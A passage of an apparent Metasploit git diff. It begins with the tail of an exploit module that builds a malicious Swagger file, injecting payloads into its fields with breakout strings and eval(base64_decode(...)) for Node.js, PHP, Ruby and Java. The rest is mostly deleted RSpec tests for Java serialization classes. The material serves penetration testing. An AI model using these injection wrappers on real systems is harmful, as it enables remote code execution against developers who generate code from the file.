['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 23 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
|
||||||
|
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
||||||
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
|
||||||
|
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
||||||
|
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
||||||
|
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
|
||||||
|
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
|
||||||
|
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
|
||||||
|
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
|
||||||
|
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
|
||||||
|
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def swagger
|
||||||
|
%Q(
|
||||||
|
{
|
||||||
|
"swagger": "2.0",
|
||||||
|
"info": {
|
||||||
|
"description": "#{datastore['INFO_DESCRIPTION']}",
|
||||||
|
"version": "#{datastore['INFO_VERSION']}",
|
||||||
|
"title": "#{datastore['INFO_TITLE']}"
|
||||||
|
},
|
||||||
|
"schemes": [
|
||||||
|
"#{datastore['SWAGGER_SCHEME']}"
|
||||||
|
],
|
||||||
|
"host": "#{datastore['SWAGGER_HOST']}",
|
||||||
|
"basePath": "#{datastore['BASE_PATH']}",
|
||||||
|
"produces": [
|
||||||
|
"application/json"
|
||||||
|
],
|
||||||
|
"consumes": [
|
||||||
|
"application/json"
|
||||||
|
],
|
||||||
|
"paths": {
|
||||||
|
"#{datastore['PATH']}": {
|
||||||
|
"get": {
|
||||||
|
"description": "#{datastore['PATH_DESCRIPTION']}",
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
|
||||||
|
"schema": {
|
||||||
|
"$ref": "#/definitions/d"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"definitions": {
|
||||||
|
"d": {
|
||||||
|
"type": "object",
|
||||||
|
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
|
||||||
|
"properties": {
|
||||||
|
"id": {
|
||||||
|
"type": "integer",
|
||||||
|
"format": "int64"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
case payload.arch[0]
|
||||||
|
when 'nodejs'
|
||||||
|
payload_loc = 'PATH'
|
||||||
|
payload_prefix = "/a');};};return exports;}));"
|
||||||
|
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
|
||||||
|
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||||
|
when 'php'
|
||||||
|
payload_loc = 'INFO_DESCRIPTION'
|
||||||
|
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
|
||||||
|
payload_suffix = "')); /*"
|
||||||
|
wrapped_payload = payload_prefix +
|
||||||
|
Base64.strict_encode64(payload.encoded) +
|
||||||
|
payload_suffix
|
||||||
|
when 'ruby'
|
||||||
|
payload_loc = 'INFO_TITLE'
|
||||||
|
payload_prefix = "=end "
|
||||||
|
payload_suffix = "=begin "
|
||||||
|
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||||
|
when 'java'
|
||||||
|
payload_loc = 'PATH'
|
||||||
|
payload_prefix = %q{a\\\"; "}
|
||||||
|
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
||||||
|
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
||||||
|
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
||||||
|
wrapped_payload = payload_prefix + p
|
||||||
|
else
|
||||||
|
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
|
||||||
|
end
|
||||||
|
|
||||||
|
datastore[payload_loc] = wrapped_payload
|
||||||
|
|
||||||
|
print_status swagger
|
||||||
|
file_create swagger
|
||||||
|
end
|
||||||
|
end
|
|
@ -88,7 +88,7 @@ class MetasploitModule < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
def set_module_options(mod)
|
def set_module_options(mod)
|
||||||
self.datastore.each do |k,v|
|
self.datastore.each_pair do |k,v|
|
||||||
mod.datastore[k] = v
|
mod.datastore[k] = v
|
||||||
end
|
end
|
||||||
if !mod.datastore['SESSION'] && session.present?
|
if !mod.datastore['SESSION'] && session.present?
|
||||||
|
|
|
@ -1,143 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Builder do
|
|
||||||
subject(:builder) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:class_opts) do
|
|
||||||
{
|
|
||||||
name: 'java.rmi.MarshalledObject',
|
|
||||||
serial: 0x7cbd1e97ed63fc3e,
|
|
||||||
fields: [
|
|
||||||
['int', 'hash'],
|
|
||||||
['array', 'locBytes', '[B'],
|
|
||||||
['array', 'objBytes', '[B']
|
|
||||||
]
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:object_opts) do
|
|
||||||
{
|
|
||||||
data: [["int", 1]]
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:array_opts) do
|
|
||||||
{
|
|
||||||
values_type: 'byte',
|
|
||||||
values: [0x41, 0x42, 0x43, 0x44]
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "returns a Rex::Java::Serialization::Builder" do
|
|
||||||
expect(builder).to be_a(Rex::Java::Serialization::Builder)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#new_class" do
|
|
||||||
context "when no options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
|
||||||
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets an empty class name" do
|
|
||||||
expect(builder.new_class.class_name.contents).to eq('')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets a 0 serial version" do
|
|
||||||
expect(builder.new_class.serial_version).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets flags to SC_SERIALIZABLE" do
|
|
||||||
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets default annotations" do
|
|
||||||
expect(builder.new_class.class_annotation.contents.length).to eq(2)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty fields" do
|
|
||||||
expect(builder.new_class.fields.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets null super class" do
|
|
||||||
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
|
||||||
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets the class name from options" do
|
|
||||||
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets serial version from options" do
|
|
||||||
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets fields from options" do
|
|
||||||
expect(builder.new_class(class_opts).fields.length).to eq(3)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#new_object" do
|
|
||||||
context "when no options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
|
||||||
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty data" do
|
|
||||||
expect(builder.new_object.class_data).to eq([])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
|
||||||
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets data from options" do
|
|
||||||
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#new_array" do
|
|
||||||
context "when no options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
|
||||||
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty values type" do
|
|
||||||
expect(builder.new_array.type).to eq('')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty values array" do
|
|
||||||
expect(builder.new_array.values).to eq([])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when options" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
|
||||||
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty values type" do
|
|
||||||
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets empty values array" do
|
|
||||||
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,105 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::Annotation do
|
|
||||||
subject(:annotation) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:empty_contents) { "\x78" }
|
|
||||||
let(:empty_contents_io) { StringIO.new(empty_contents) }
|
|
||||||
let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" }
|
|
||||||
let(:contents_io) { StringIO.new(contents) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::Annotation" do
|
|
||||||
expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes contents with empty array" do
|
|
||||||
expect(annotation.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
|
|
||||||
context "when empty contents" do
|
|
||||||
it do
|
|
||||||
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
expect(annotation.encode).to eq(empty_contents)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when block data contents" do
|
|
||||||
it do
|
|
||||||
annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05")
|
|
||||||
annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05")
|
|
||||||
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
expect(annotation.encode).to eq(contents)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
|
|
||||||
context "when empty contents" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Annotation" do
|
|
||||||
expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "unserializes one content" do
|
|
||||||
annotation.decode(empty_contents_io)
|
|
||||||
expect(annotation.contents.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "unserializes one EndBlockData content" do
|
|
||||||
annotation.decode(empty_contents_io)
|
|
||||||
expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when block data contents" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Annotation" do
|
|
||||||
expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes contents" do
|
|
||||||
annotation.decode(contents_io)
|
|
||||||
expect(annotation.contents.length).to eq(3)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes block data contents" do
|
|
||||||
annotation.decode(contents_io)
|
|
||||||
expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes block data long contents" do
|
|
||||||
annotation.decode(contents_io)
|
|
||||||
expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes end block data" do
|
|
||||||
annotation.decode(contents_io)
|
|
||||||
expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints an empty annotation" do
|
|
||||||
annotation.decode(empty_contents_io)
|
|
||||||
expect(annotation.to_s).to eq('[ EndBlockData ]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an annotation with contents" do
|
|
||||||
annotation.decode(contents_io)
|
|
||||||
expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,107 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do
|
|
||||||
subject(:block) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
|
|
||||||
let(:sample_block_io) { StringIO.new(sample_block) }
|
|
||||||
let(:empty_block) { "\x00\x00\x00\x00" }
|
|
||||||
let(:empty_block_io) { StringIO.new(empty_block) }
|
|
||||||
let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" }
|
|
||||||
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
|
|
||||||
let(:empty_io) { StringIO.new('') }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::BlockDataLong" do
|
|
||||||
expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes length to 0" do
|
|
||||||
expect(block.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes contents with empty string" do
|
|
||||||
expect(block.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when empty block" do
|
|
||||||
it { expect(block.encode).to eq(empty_block) }
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when filled block" do
|
|
||||||
it do
|
|
||||||
block.length = 16
|
|
||||||
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
|
||||||
expect(block.encode).to eq(sample_block)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when stream contains empty string" do
|
|
||||||
it "returns nil" do
|
|
||||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains empty block" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
|
|
||||||
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to empty string" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains incomplete block" do
|
|
||||||
it "returns nil" do
|
|
||||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains correct block" do
|
|
||||||
|
|
||||||
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
|
|
||||||
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.length).to eq(16)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to sample string" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a block with contents" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an empty string for an empty block" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.to_s).to eq('[ ]')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,106 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::BlockData do
|
|
||||||
subject(:block) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
|
|
||||||
let(:sample_block_io) { StringIO.new(sample_block) }
|
|
||||||
let(:empty_block) { "\x00" }
|
|
||||||
let(:empty_block_io) { StringIO.new(empty_block) }
|
|
||||||
let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" }
|
|
||||||
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
|
|
||||||
let(:empty_io) { StringIO.new('') }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::BlockData" do
|
|
||||||
expect(block).to be_a(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes length to 0" do
|
|
||||||
expect(block.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes contents with empty string" do
|
|
||||||
expect(block.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when empty block" do
|
|
||||||
it { expect(block.encode).to eq(empty_block) }
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when filled block" do
|
|
||||||
it do
|
|
||||||
block.length = 16
|
|
||||||
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
|
||||||
expect(block.encode).to eq(sample_block)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when stream contains empty string" do
|
|
||||||
it "returns nil" do
|
|
||||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains empty block" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::BlockData" do
|
|
||||||
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to empty string" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains incomplete block" do
|
|
||||||
it "returns nil" do
|
|
||||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains correct block" do
|
|
||||||
|
|
||||||
it "returns a Rex::Java::Serialization::Model::BlockData" do
|
|
||||||
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.length).to eq(16)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to sample string" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a block with contents" do
|
|
||||||
block.decode(sample_block_io)
|
|
||||||
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an empty string for an empty block" do
|
|
||||||
block.decode(empty_block_io)
|
|
||||||
expect(block.to_s).to eq('[ ]')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,81 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::ClassDesc do
|
|
||||||
subject(:class_desc) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample) do
|
|
||||||
"\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
|
|
||||||
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
|
|
||||||
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
|
|
||||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
|
|
||||||
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_io) { StringIO.new(sample) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::NewClassDesc" do
|
|
||||||
expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes description with nil" do
|
|
||||||
expect(class_desc.description).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::ClassDesc" do
|
|
||||||
expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the description correctly" do
|
|
||||||
class_desc.decode(sample_io)
|
|
||||||
expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes a ClassDesc" do
|
|
||||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
|
|
||||||
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
|
|
||||||
super_class_desc_new.flags = 2
|
|
||||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc.description = super_class_desc_new
|
|
||||||
|
|
||||||
class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
|
|
||||||
class_desc_new.serial_version = 0x9c4e6084ee50f51c
|
|
||||||
class_desc_new.flags = 2
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = 'byte'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
|
|
||||||
class_desc_new.fields << field
|
|
||||||
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
class_desc_new.super_class = super_class_desc
|
|
||||||
|
|
||||||
class_desc.description = class_desc_new
|
|
||||||
|
|
||||||
expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a sample ClassDesc" do
|
|
||||||
class_desc.decode(sample_io)
|
|
||||||
expect(class_desc.to_s).to be_a(String)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,108 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::Field do
|
|
||||||
subject(:field) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_primitive) { "I\x00\x06number" }
|
|
||||||
let(:sample_primitive_io) { StringIO.new(sample_primitive) }
|
|
||||||
let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" }
|
|
||||||
let(:sample_object_io) { StringIO.new(sample_object) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::Field" do
|
|
||||||
expect(field).to be_a(Rex::Java::Serialization::Model::Field)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes code with empty string" do
|
|
||||||
expect(field.type).to be_empty
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes name with nil" do
|
|
||||||
expect(field.name).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes field_type with nil" do
|
|
||||||
expect(field.field_type).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when empty field" do
|
|
||||||
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when primitive field" do
|
|
||||||
it do
|
|
||||||
field.type = 'int'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number')
|
|
||||||
expect(field.encode).to eq(sample_primitive)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when object field" do
|
|
||||||
it do
|
|
||||||
field.type = 'array'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array')
|
|
||||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;')
|
|
||||||
expect(field.encode).to eq(sample_object)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when stream contains a primitive field" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Field" do
|
|
||||||
